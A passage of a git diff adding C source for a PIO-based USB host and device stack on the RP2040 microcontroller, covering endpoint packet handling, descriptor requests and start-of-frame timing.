PIO_USB_DEBUG_PIN_NONE, \ + PIO_USB_DEBUG_PIN_NONE, false, PIO_USB_PINOUT_DPDM \ + } + +#define PIO_USB_EP_POOL_CNT 32 +#define PIO_USB_DEV_EP_CNT 16 +#define PIO_USB_DEVICE_CNT 4 +#define PIO_USB_HUB_PORT_CNT 8 +#define PIO_USB_ROOT_PORT_CNT 2 + +#define PIO_USB_EP_SIZE 64 diff --git a/pio_usb/src/pio_usb_device.c b/pio_usb/src/pio_usb_device.c new file mode 100644 index 0000000..5c24347 --- /dev/null +++ b/pio_usb/src/pio_usb_device.c @@ -0,0 +1,570 @@ +/** + * Copyright (c) 2021 sekigon-gonnoc + * Ha Thach (thach@tinyusb.org) + */ + +#pragma GCC push_options +#pragma GCC optimize("-O3") + +#include +#include +#include +#include + +#include "pio_usb.h" +#include "pio_usb_ll.h" +#include "usb_crc.h" + +#include "usb_rx.pio.h" +#include "usb_tx.pio.h" + +#include "hardware/dma.h" +#include "hardware/irq.h" +#include "hardware/gpio.h" +#include "hardware/pio.h" + +static uint8_t new_devaddr = 0; +static uint8_t ep0_crc5_lut[16]; +static __unused usb_descriptor_buffers_t descriptor_buffers; + +static uint8_t nak_encoded[5]; +static uint8_t stall_encoded[5]; + +static void __no_inline_not_in_flash_func(update_ep0_crc5_lut)(uint8_t addr) { + uint16_t dat; + uint8_t crc; + + for (int epnum = 0; epnum < 16; epnum++) { + dat = (addr) | (epnum << 7); + crc = calc_usb_crc5(dat); + ep0_crc5_lut[epnum] = (crc << 3) | ((epnum >> 1) & 0x07); + } +} + +static __always_inline void restart_usb_receiver(pio_port_t *pp) { + pio_sm_exec(pp->pio_usb_rx, pp->sm_rx, pp->rx_reset_instr2); + pio_sm_restart(pp->pio_usb_rx, pp->sm_rx); + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; +} + +static __always_inline uint8_t device_receive_token(void) { + pio_port_t *pp = PIO_USB_PIO_PORT(0); + uint8_t idx = 0; + uint8_t buffer[2]; + + if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) { + while ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) { + if (pio_sm_get_rx_fifo_level(pp->pio_usb_rx, pp->sm_rx)) { + buffer[idx++] = pio_sm_get(pp->pio_usb_rx, pp->sm_rx) >> 24; + if (idx == 2) { + return buffer[1]; + } + } + } + } else { + // host is probably timeout. Ignore this packets. + pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx); + } + + return 0; +} + +static __always_inline int8_t device_receive_ep_address(uint8_t token, + uint8_t dev_addr) { + pio_port_t *pp = PIO_USB_PIO_PORT(0); + uint8_t idx = 0; + uint8_t addr; + uint8_t ep; + uint8_t ep_num = 0; + uint8_t buffer[3]; + bool match = false; + + static uint8_t eplut[2][8] = {{0, 2, 4, 6, 8, 10, 12, 14}, + {1, 3, 5, 7, 9, 11, 13, 15}}; + uint8_t *current_lut; + + if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) { + while ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) { + if (pio_sm_get_rx_fifo_level(pp->pio_usb_rx, pp->sm_rx)) { + buffer[idx++] = pio_sm_get(pp->pio_usb_rx, pp->sm_rx) >> 24; + if ((idx == 1) && (token != USB_PID_SOF)) { + addr = buffer[0] & 0x7f; + current_lut = &eplut[buffer[0] >> 7][0]; + match = dev_addr == addr ? true : false; + } else if (idx == 2) { + ep_num = buffer[1]; + break; + } + } + } + } else { + // host is probably timeout. Ignore this packets. + pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx); + } + + if (match) { + ep = current_lut[ep_num & 0x07]; + if (ep0_crc5_lut[ep] == ep_num) { + return ep; + } else { + return -1; + } + } + + return -1; +} + +static __always_inline void wait_receive_complete(pio_port_t *pp) { + while ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) { + continue; + } + pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx); +} + +static void __no_inline_not_in_flash_func(usb_device_packet_handler)(void) { + pio_port_t *pp = PIO_USB_PIO_PORT(0); + root_port_t *rport = PIO_USB_ROOT_PORT(0); + + gpio_clr_mask(1<<3); + // + // time critical start + // + uint8_t addr = rport->dev_addr; + uint8_t token = device_receive_token(); + + if (token == USB_PID_IN) { + int8_t ep_num = device_receive_ep_address(token, addr); + if (ep_num < 0) { + gpio_set_mask(1 << 3); + return; + } + + endpoint_t *ep = PIO_USB_ENDPOINT((ep_num << 1) | 0x01); + + pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr); + volatile bool has_transfer = ep->has_transfer; + + if (has_transfer) { + dma_channel_transfer_from_buffer_now(pp->tx_ch, ep->buffer, ep->encoded_data_len); + } else if (ep->stalled) { + dma_channel_transfer_from_buffer_now(pp->tx_ch, stall_encoded, sizeof(stall_encoded)); + } else { + dma_channel_transfer_from_buffer_now(pp->tx_ch, nak_encoded, sizeof(nak_encoded)); + } + + pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag + while ((pp->pio_usb_tx->irq & IRQ_TX_ALL_MASK) == 0) { + continue; + } + + if (has_transfer) { + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; + irq_clear(pp->device_rx_irq_num); + pio_usb_bus_start_receive(pp); + + // wait for ack + pio_usb_bus_wait_handshake(pp); + + pio_usb_bus_start_receive(pp); + irq_clear(pp->device_rx_irq_num); + + // + // time critical end + // + + if (ep->ep_num == 0x80 && new_devaddr > 0) { + rport->dev_addr = new_devaddr; + new_devaddr = 0; + update_ep0_crc5_lut(rport->dev_addr); + } + + rport->ints |= PIO_USB_INTS_ENDPOINT_CONTINUE_BITS; + rport->ep_continue |= (1 << ep_num); + } else { + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; + irq_clear(pp->device_rx_irq_num); + restart_usb_receiver(pp); + pio_usb_bus_start_receive(pp); + + // + // time critical end + // + } + } else if (token == USB_PID_OUT) { + int8_t ep_num = device_receive_ep_address(token, addr); + wait_receive_complete(pp); + restart_usb_receiver(pp); + if (ep_num < 0) { + return; + } + endpoint_t *ep = PIO_USB_ENDPOINT(ep_num << 1); + + gpio_clr_mask(1<<4); + uint8_t handshake = ep->stalled + ? USB_PID_STALL + : (ep->has_transfer ? USB_PID_ACK : USB_PID_NAK); + int res = pio_usb_bus_receive_packet_and_handshake(pp, handshake); + pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx); + restart_usb_receiver(pp); + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; + irq_clear(pp->device_rx_irq_num); + + if (ep->has_transfer) { + if (res >= 0) { + memcpy(ep->app_buf, pp->usb_rx_buffer + 2, res); + pio_usb_ll_transfer_continue(ep, res); + } + } + } else if (token == USB_PID_SETUP) { + int8_t ep_num = device_receive_ep_address(token, addr); + restart_usb_receiver(pp); + if (ep_num < 0) { + return; + } + int res = pio_usb_bus_receive_packet_and_handshake(pp, USB_PID_ACK); + pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx); + restart_usb_receiver(pp); + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; + irq_clear(pp->device_rx_irq_num); + + if (res >= 0) { + rport->setup_packet = pp->usb_rx_buffer + 2; + rport->ints |= PIO_USB_INTS_SETUP_REQ_BITS; + + // DATA1 for both data and status stage + PIO_USB_ENDPOINT(0)->has_transfer = PIO_USB_ENDPOINT(1)->has_transfer = false; + PIO_USB_ENDPOINT(0)->data_id = PIO_USB_ENDPOINT(1)->data_id = 1; + PIO_USB_ENDPOINT(0)->stalled = PIO_USB_ENDPOINT(1)->stalled = false; + } + } else if (token == USB_PID_SOF) { + // SOF interrupt + device_receive_ep_address(token, addr); + wait_receive_complete(pp); + restart_usb_receiver(pp); + } else { + device_receive_ep_address(token, addr); + wait_receive_complete(pp); + restart_usb_receiver(pp); + } +} + +usb_device_t *pio_usb_device_init(const pio_usb_configuration_t *c, + const usb_descriptor_buffers_t *buffers) { + pio_port_t *pp = PIO_USB_PIO_PORT(0); + root_port_t *rport = PIO_USB_ROOT_PORT(0); + usb_device_t *dev = &pio_usb_device[0]; + + pio_usb_bus_init(pp, c, rport); + gpio_disable_pulls(rport->pin_dp); // needs external pull-up + rport->mode = PIO_USB_MODE_DEVICE; + + memset(dev, 0, sizeof(*dev)); + for (int i = 0; i < PIO_USB_DEV_EP_CNT; i++) { + dev->endpoint_id[i] = 2 * (i + 1); // only index IN endpoint + } + + update_ep0_crc5_lut(rport->dev_addr); + + float const cpu_freq = (float)clock_get_hz(clk_sys); + + pio_calculate_clkdiv_from_float(cpu_freq / 48000000, + &pp->clk_div_fs_tx.div_int, + &pp->clk_div_fs_tx.div_frac); + pio_calculate_clkdiv_from_float(cpu_freq / 96000000, + &pp->clk_div_fs_rx.div_int, + &pp->clk_div_fs_rx.div_frac); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, rport->pin_dp); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, true); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, rport->pin_dm); + pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, rport->pin_dp); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, false); + SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_fs_rx); + + descriptor_buffers = *buffers; + + pio_usb_bus_prepare_receive(pp); + + // configure PIOx_IRQ_0 to detect packet receive start + pio_set_irqn_source_enabled(pp->pio_usb_rx, 0, pis_interrupt0 + IRQ_RX_START, + true); + pp->device_rx_irq_num = PIO_IRQ_NUM(pp->pio_usb_rx, 0); + irq_set_exclusive_handler(pp->device_rx_irq_num, usb_device_packet_handler); + irq_set_enabled(pp->device_rx_irq_num, true); + + + // pre-encode handshake packets + uint8_t raw_packet[] = {USB_SYNC, USB_PID_NAK}; + pio_usb_ll_encode_tx_data(raw_packet, 2, nak_encoded); + raw_packet[1] = USB_PID_STALL; + pio_usb_ll_encode_tx_data(raw_packet, 2, stall_encoded); + + return dev; +} + +//--------------------------------------------------------------------+ +// Device Controller functions +//--------------------------------------------------------------------+ + +void pio_usb_device_set_address(uint8_t dev_addr) { + new_devaddr = dev_addr; +} + +bool __no_inline_not_in_flash_func(pio_usb_device_endpoint_open)( + uint8_t const *desc_endpoint) { + const endpoint_descriptor_t *d = (const endpoint_descriptor_t *)desc_endpoint; + endpoint_t *ep = pio_usb_device_get_endpoint_by_address(d->epaddr); + + pio_usb_ll_configure_endpoint(ep, desc_endpoint); + ep->root_idx = 0; + ep->dev_addr = 0; // not used + ep->need_pre = 0; + ep->is_tx = (d->epaddr & 0x80) ? true : false; // device: endpoint in is tx + + return true; +} + +bool pio_usb_device_transfer(uint8_t ep_address, uint8_t *buffer, + uint16_t buflen) { + endpoint_t *ep = pio_usb_device_get_endpoint_by_address(ep_address); + return pio_usb_ll_transfer_start(ep, buffer, buflen); +} + +//--------------------------------------------------------------------+ +// USB Device Stack +//--------------------------------------------------------------------+ +static int8_t ep0_desc_request_type = -1; +static uint16_t ep0_desc_request_len; +static uint8_t ep0_desc_request_idx; + +static void __no_inline_not_in_flash_func(prepare_ep0_data)(uint8_t *data, + uint8_t len) { + // 0: control out (rx), 1 : control in (tx) + endpoint_t *ep = &pio_usb_ep_pool[1]; + + pio_usb_ll_transfer_start(ep, data, len); + + if (len) { + // there is data, prepare for status as well + pio_usb_ll_transfer_start(&pio_usb_ep_pool[0], NULL, 0); + } +} + +static void __no_inline_not_in_flash_func(prepare_ep0_rx)(uint8_t *data, + uint8_t len) { + // 0: control out (rx), 1 : control in (tx) + endpoint_t *ep = &pio_usb_ep_pool[0]; + + pio_usb_ll_transfer_start(ep, data, len); + + if (len) { + // there is data, prepare for status as well + pio_usb_ll_transfer_start(&pio_usb_ep_pool[1], NULL, 0); + } +} + +void pio_usb_device_task(void) { + root_port_t *rport = PIO_USB_ROOT_PORT(0); + pio_port_t *pp = PIO_USB_PIO_PORT(0); + if (rport->ints) { + pio_usb_device_irq_handler(0); + } + + switch (ep0_desc_request_type) { + case DESC_TYPE_CONFIG: { + uint16_t req_len = ep0_desc_request_len; + uint16_t desc_len = + descriptor_buffers.config[2] | (descriptor_buffers.config[3] << 8); + req_len = req_len > desc_len ? desc_len : req_len; + prepare_ep0_data((uint8_t *)descriptor_buffers.config, req_len); + ep0_desc_request_type = -1; + } break; + case DESC_TYPE_STRING: { + const uint16_t *str = + (uint16_t *)&descriptor_buffers.string[ep0_desc_request_idx]; + prepare_ep0_data((uint8_t *)str, str[0] & 0xff); + ep0_desc_request_type = -1; + } break; + case DESC_TYPE_HID_REPORT:{ + prepare_ep0_data( + (uint8_t *)descriptor_buffers.hid_report[ep0_desc_request_idx], + ep0_desc_request_len); + ep0_desc_request_type = -1; + } + default: + break; + } + + uint32_t se0_time_us =0; + bool reset = false; + while (pio_usb_bus_get_line_state(rport) == PORT_PIN_SE0) { + busy_wait_us_32(1); + se0_time_us++; + + if (se0_time_us == 1000) { + memset(pio_usb_ep_pool, 0, sizeof(pio_usb_ep_pool)); + rport->dev_addr = 0; + update_ep0_crc5_lut(rport->dev_addr); + + // init endpoint control in/out + PIO_USB_ENDPOINT(0)->size = 64; + PIO_USB_ENDPOINT(0)->ep_num = 0; + PIO_USB_ENDPOINT(0)->is_tx = false; + + PIO_USB_ENDPOINT(1)->size = 64; + PIO_USB_ENDPOINT(1)->ep_num = 0x80; + PIO_USB_ENDPOINT(1)->is_tx = true; + + // TODO should be reset end, this is reset start only + rport->ep_complete = rport->ep_stalled = rport->ep_error = 0; + rport->ints |= PIO_USB_INTS_RESET_END_BITS; + reset = true; + } + } + if (reset) { + restart_usb_receiver(pp); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, true); + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; + } +} + +static void __no_inline_not_in_flash_func(configure_all_endpoints)(uint8_t const *desc) { + uint8_t const *desc_end = desc + (descriptor_buffers.config[2] | + (descriptor_buffers.config[3] << 8)); + while (desc < desc_end) { + if (desc[1] == DESC_TYPE_ENDPOINT) { + pio_usb_device_endpoint_open(desc); + } + desc += desc[0]; + } +} + +static int __no_inline_not_in_flash_func(process_device_setup_stage)(uint8_t *buffer) { + int res = -1; + const usb_setup_packet_t *packet = (usb_setup_packet_t *)buffer; + + if (packet->request_type == USB_REQ_DIR_IN) { + if (packet->request == 0x06) { + if (packet->value_msb == DESC_TYPE_DEVICE) { + prepare_ep0_data((uint8_t *)descriptor_buffers.device, 18); + res = 0; + } else if (packet->value_msb == DESC_TYPE_CONFIG) { + ep0_desc_request_len = (packet->length_lsb | (packet->length_msb << 8)); + ep0_desc_request_type = DESC_TYPE_CONFIG; + res = 0; + } else if (packet->value_msb == DESC_TYPE_STRING) { + if (descriptor_buffers.string != NULL) { + ep0_desc_request_idx = packet->value_lsb; + ep0_desc_request_type = DESC_TYPE_STRING; + res = 0; + } + } + } + } else if (packet->request_type == USB_REQ_DIR_OUT) { + if (packet->request == 0x05) { + // set address + new_devaddr = packet->value_lsb; + prepare_ep0_data(NULL, 0); + res = 0; + } else if (packet->request == 0x09) { + // set configuration + configure_all_endpoints(descriptor_buffers.config); + prepare_ep0_data(NULL, 0); + res = 0; + } + } else if (packet->request_type == (USB_REQ_DIR_IN | USB_REQ_REC_IFACE)) { + if (packet->request == 0x06 && packet->value_msb == DESC_TYPE_HID_REPORT) { + // get hid report desc + ep0_desc_request_len = (packet->length_lsb | (packet->length_msb << 8)); + ep0_desc_request_idx = packet->index_lsb; + ep0_desc_request_type = DESC_TYPE_HID_REPORT; + res = 0; + } + } else if (packet->request_type == (USB_REQ_TYP_CLASS | USB_REQ_REC_IFACE)) { + if (packet->request == 0x09) { + // set hid report + static __unused uint8_t received_hid_report[8]; // not used + prepare_ep0_rx(received_hid_report, 8); + res = 0; + } else if (packet->request == 0x0A) { + // set hid idle request + prepare_ep0_data(NULL, 0); + res = 0; + } else if (packet->request == 0x0B) { + // set hid protocol request + prepare_ep0_data(NULL, 0); + res = 0; + } + } else if (packet->request_type == (USB_REQ_REC_EP)) { + prepare_ep0_data(NULL, 0); + res = 0; + } + + return res; +} + +// IRQ Handler +static void __no_inline_not_in_flash_func(__pio_usb_device_irq_handler)(uint8_t root_idx) { + root_port_t *root = PIO_USB_ROOT_PORT(root_idx); + usb_device_t *dev = &pio_usb_device[0]; + + uint32_t const ints = root->ints; + + if (ints & PIO_USB_INTS_RESET_END_BITS) { + memset(dev, 0, sizeof(*dev)); + for (int i = 0; i < PIO_USB_DEV_EP_CNT; i++) { + dev->endpoint_id[i] = 2 * (i + 1); // only index IN endpoint + } + } + + if (ints & PIO_USB_INTS_SETUP_REQ_BITS) { + process_device_setup_stage(root->setup_packet); + dev->control_pipe.stage = STAGE_DATA; + } + + if (ints & PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) { + const uint32_t ep_all = root->ep_complete; + + // control out + if (ep_all & 0x01) { + if (dev->control_pipe.stage == STAGE_STATUS) { + dev->control_pipe.stage = STAGE_COMPLETE; + } else if (dev->control_pipe.stage == STAGE_DATA) { + dev->control_pipe.stage = STAGE_STATUS; + prepare_ep0_data(NULL, 0); + } + } + + // control in + if (ep_all & 0x02) { + if (dev->control_pipe.stage == STAGE_STATUS) { + dev->control_pipe.stage = STAGE_COMPLETE; + } + } + + // clear all + root->ep_complete &= ~ep_all; + } + + if (ints & PIO_USB_INTS_ENDPOINT_CONTINUE_BITS) { + for (int b = 0; b < 16; b++) { + if (root->ep_continue & (1 << b)) { + endpoint_t *ep = PIO_USB_ENDPOINT((b << 1) | 0x01); + uint16_t const xact_len = pio_usb_ll_get_transaction_len(ep); + pio_usb_ll_transfer_continue(ep, xact_len); + root->ep_continue &= ~(1 << b); + } + } + } + + // clear all + root->ints &= ~ints; +} + +// weak alias to __pio_usb_device_irq_handler +void pio_usb_device_irq_handler(uint8_t root_id) __attribute__ ((weak, alias("__pio_usb_device_irq_handler"))); + +#pragma GCC pop_options diff --git a/pio_usb/src/pio_usb_host.c b/pio_usb/src/pio_usb_host.c new file mode 100644 index 0000000..7c18e5f --- /dev/null +++ b/pio_usb/src/pio_usb_host.c @@ -0,0 +1,775 @@ +/** + * Copyright (c) 2021 sekigon-gonnoc + * Ha Thach (thach@tinyusb.org) + */ + +#pragma GCC push_options +#pragma GCC optimize("-O3") + +#include +#include +#include +#include + +#include "hardware/sync.h" +#include "hardware/pio.h" +#include "hardware/gpio.h" + +#include "pio_usb.h" +#include "pio_usb_ll.h" +#include "usb_crc.h" + +enum { + TRANSACTION_MAX_RETRY = 3, // Number of times to retry a failed transaction +}; + +static alarm_pool_t *_alarm_pool = NULL; +static repeating_timer_t sof_rt; +// The sof_count may be incremented and then read on different cores. +static volatile uint32_t sof_count = 0; +static bool timer_active; + +static volatile bool cancel_timer_flag; +static volatile bool start_timer_flag; +static __unused uint32_t int_stat; +static uint8_t sof_packet[4] = {USB_SYNC, USB_PID_SOF, 0x00, 0x10}; +static uint8_t sof_packet_encoded[4 * 2 * 7 / 6 + 2]; +static uint8_t sof_packet_encoded_len; +static uint8_t keepalive_encoded[1]; + +static bool sof_timer(repeating_timer_t *_rt); + +//--------------------------------------------------------------------+ +// Application API +//--------------------------------------------------------------------+ + +static void start_timer(alarm_pool_t *alarm_pool) { + if (timer_active) { + return; + } + + if (alarm_pool != NULL) { + alarm_pool_add_repeating_timer_us(alarm_pool, -1000, sof_timer, NULL, + &sof_rt); + } + + timer_active = true; +} + +static __unused void stop_timer(void) { + cancel_repeating_timer(&sof_rt); + timer_active = false; +} + +usb_device_t *pio_usb_host_init(const pio_usb_configuration_t *c) { + pio_port_t *pp = PIO_USB_PIO_PORT(0); + root_port_t *root = PIO_USB_ROOT_PORT(0); + + pio_usb_bus_init(pp, c, root); + root->mode = PIO_USB_MODE_HOST; + + float const cpu_freq = (float)clock_get_hz(clk_sys); + pio_calculate_clkdiv_from_float(cpu_freq / 48000000, + &pp->clk_div_fs_tx.div_int, + &pp->clk_div_fs_tx.div_frac); + pio_calculate_clkdiv_from_float(cpu_freq / 6000000, + &pp->clk_div_ls_tx.div_int, + &pp->clk_div_ls_tx.div_frac); + + pio_calculate_clkdiv_from_float(cpu_freq / 96000000, + &pp->clk_div_fs_rx.div_int, + &pp->clk_div_fs_rx.div_frac); + pio_calculate_clkdiv_from_float(cpu_freq / 12000000, + &pp->clk_div_ls_rx.div_int, + &pp->clk_div_ls_rx.div_frac); + + sof_packet_encoded_len = + pio_usb_ll_encode_tx_data(sof_packet, sizeof(sof_packet), sof_packet_encoded); + pio_usb_ll_encode_tx_data(NULL, 0, keepalive_encoded); + + if (!c->skip_alarm_pool) { + _alarm_pool = c->alarm_pool; + if (!_alarm_pool) { + _alarm_pool = alarm_pool_create(2, 1); + } + } + start_timer(_alarm_pool); + + return &pio_usb_device[0]; +} + +void pio_usb_host_stop(void) { + cancel_timer_flag = true; + while (cancel_timer_flag) { + continue; + } +} + +void pio_usb_host_restart(void) { + start_timer_flag = true; + while (start_timer_flag) { + continue; + } +} + +//--------------------------------------------------------------------+ +// Bus functions +//--------------------------------------------------------------------+ + +static void __no_inline_not_in_flash_func(override_pio_program)(PIO pio, const pio_program_t* program, uint offset) { + for (uint i = 0; i < program->length; ++i) { + uint16_t instr = program->instructions[i]; + pio->instr_mem[offset + i] = + pio_instr_bits_jmp != _pio_major_instr_bits(instr) ? instr + : instr + offset; + } +} + +static __always_inline void override_pio_rx_program(PIO pio, + const pio_program_t *program, + const pio_program_t *debug_program, + uint offset, int debug_pin) { + if (debug_pin < 0) { + override_pio_program(pio, program, offset); + } else { + override_pio_program(pio, debug_program, offset); + } +} + +static void +__no_inline_not_in_flash_func(configure_tx_program)(pio_port_t *pp, + root_port_t *port) { + if (port->pinout == PIO_USB_PINOUT_DPDM) { + pp->fs_tx_program = &usb_tx_dpdm_program; + pp->fs_tx_pre_program = &usb_tx_pre_dpdm_program; + pp->ls_tx_program = &usb_tx_dmdp_program; + } else { + pp->fs_tx_program = &usb_tx_dmdp_program; + pp->fs_tx_pre_program = &usb_tx_pre_dmdp_program; + pp->ls_tx_program = &usb_tx_dpdm_program; + } +} + +static void __no_inline_not_in_flash_func(configure_fullspeed_host)( + pio_port_t *pp, root_port_t *port) { + pp->low_speed = false; + configure_tx_program(pp, port); + pio_sm_clear_fifos(pp->pio_usb_tx, pp->sm_tx); + override_pio_program(pp->pio_usb_tx, pp->fs_tx_program, pp->offset_tx); + SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_fs_tx); + usb_tx_configure_pins(pp->pio_usb_tx, pp->sm_tx, port->pin_dp, port->pin_dm); + pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_reset_instr); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, port->pin_dp); + SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, port->pin_dm); + pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, port->pin_dp); + SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_fs_rx); +} + +static void __no_inline_not_in_flash_func(configure_lowspeed_host)( + pio_port_t *pp, root_port_t *port) { + pp->low_speed = true; + configure_tx_program(pp, port); + pio_sm_clear_fifos(pp->pio_usb_tx, pp->sm_tx); + override_pio_program(pp->pio_usb_tx, pp->ls_tx_program, pp->offset_tx); + SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_ls_tx); + usb_tx_configure_pins(pp->pio_usb_tx, pp->sm_tx, port->pin_dp, port->pin_dm); + pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_reset_instr); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, port->pin_dm); + SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx); + + pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, port->pin_dp); + pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, port->pin_dm); + SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_ls_rx); +} + +static void __no_inline_not_in_flash_func(configure_root_port)( + pio_port_t *pp, root_port_t *root) { + if (root->is_fullspeed) { + configure_fullspeed_host(pp, root); + } else { + configure_lowspeed_host(pp, root); + } +} + +static void __no_inline_not_in_flash_func(restore_fs_bus)(pio_port_t *pp) { + // change bus speed to full-speed + pp->low_speed = false; + pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, false); + SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_fs_tx); + pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, true); + + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, true); + + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, false); + SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_fs_rx); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, true); +} + +// Time about 1us ourselves so it lives in RAM. +static void __not_in_flash_func(busy_wait_1_us)(void) { + uint32_t start = get_time_us_32(); + while (get_time_us_32() == start) { + tight_loop_contents(); + } +} + +static bool __no_inline_not_in_flash_func(connection_check)(root_port_t *port) { + if (pio_usb_bus_get_line_state(port) == PORT_PIN_SE0) { + busy_wait_1_us(); + + if (pio_usb_bus_get_line_state(port) == PORT_PIN_SE0) { + busy_wait_1_us(); + // device disconnect + port->connected = false; + port->suspended = true; + port->ints |= PIO_USB_INTS_DISCONNECT_BITS; + + // failed/retired all queuing transfer in this root + uint8_t root_idx = port - PIO_USB_ROOT_PORT(0); + for (int ep_idx = 0; ep_idx < PIO_USB_EP_POOL_CNT; ep_idx++) { + endpoint_t *ep = PIO_USB_ENDPOINT(ep_idx); + if ((ep->root_idx == root_idx) && ep->size && ep->has_transfer) { + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS); + } + } + + return false; + } + } + + return true; +} + +//--------------------------------------------------------------------+ +// SOF +//--------------------------------------------------------------------+ +static int usb_setup_transaction(pio_port_t *pp, endpoint_t *ep); +static int usb_in_transaction(pio_port_t *pp, endpoint_t *ep); +static int usb_out_transaction(pio_port_t *pp, endpoint_t *ep); + +void __not_in_flash_func(pio_usb_host_frame)(void) { + if (!timer_active) { + return; + } + + pio_port_t *pp = PIO_USB_PIO_PORT(0); + + // Send SOF + for (int root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) { + root_port_t *root = PIO_USB_ROOT_PORT(root_idx); + if (!(root->initialized && root->connected && !root->suspended && + connection_check(root))) { + continue; + } + configure_root_port(pp, root); + if (root->is_fullspeed) { + // Send SOF for full speed + pio_usb_bus_usb_transfer(pp, sof_packet_encoded, sof_packet_encoded_len); + } else { + // Send Keep alive for low speed + pio_usb_bus_usb_transfer(pp, keepalive_encoded, 1); + } + } + + // Carry out all queued endpoint transaction + for (int root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) { + root_port_t *root = PIO_USB_ROOT_PORT(root_idx); + if (!(root->initialized && root->connected && !root->suspended)) { + continue; + } + + configure_root_port(pp, root); + + for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; + ep_pool_idx++) { + endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx); + if ((ep->root_idx == root_idx) && ep->size) { + bool const is_periodic = ((ep->attr & 0x03) == EP_ATTR_INTERRUPT); + + if (is_periodic && (ep->interval_counter > 0)) { + ep->interval_counter--; + continue; + } + + if (ep->has_transfer && !ep->transfer_aborted) { + ep->transfer_started = true; + + if (ep->need_pre) { + pp->need_pre = true; + } + + if (ep->ep_num == 0 && ep->data_id == USB_PID_SETUP) { + usb_setup_transaction(pp, ep); + } else { + if (ep->ep_num & EP_IN) { + usb_in_transaction(pp, ep); + } else { + usb_out_transaction(pp, ep); + } + + if (is_periodic) { + ep->interval_counter = ep->interval - 1; + } + } + + if (ep->need_pre) { + pp->need_pre = false; + restore_fs_bus(pp); + } + + ep->transfer_started = false; + } + } + } + } + + // check for new connection to root hub + for (int root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) { + root_port_t *root = PIO_USB_ROOT_PORT(root_idx); + if (root->initialized && !root->connected) { + port_pin_status_t const line_state = pio_usb_bus_get_line_state(root); + if (line_state == PORT_PIN_FS_IDLE || line_state == PORT_PIN_LS_IDLE) { + root->is_fullspeed = (line_state == PORT_PIN_FS_IDLE); + root->connected = true; + root->suspended = true; // need a bus reset before operating + root->ints |= PIO_USB_INTS_CONNECT_BITS; + } + } + } + + // Invoke IRQHandler if interrupt status is set + for (uint8_t root_idx = 0; root_idx < PIO_USB_ROOT_PORT_CNT; root_idx++) { + if (PIO_USB_ROOT_PORT(root_idx)->ints) { + pio_usb_host_irq_handler(root_idx); + } + } + + sof_count++; + + // SOF counter is 11-bit + uint16_t const sof_count_11b = sof_count & 0x7ff; + sof_packet[2] = sof_count_11b & 0xff; + sof_packet[3] = (calc_usb_crc5(sof_count_11b) << 3) | (sof_count_11b >> 8); + sof_packet_encoded_len = + pio_usb_ll_encode_tx_data(sof_packet, sizeof(sof_packet), 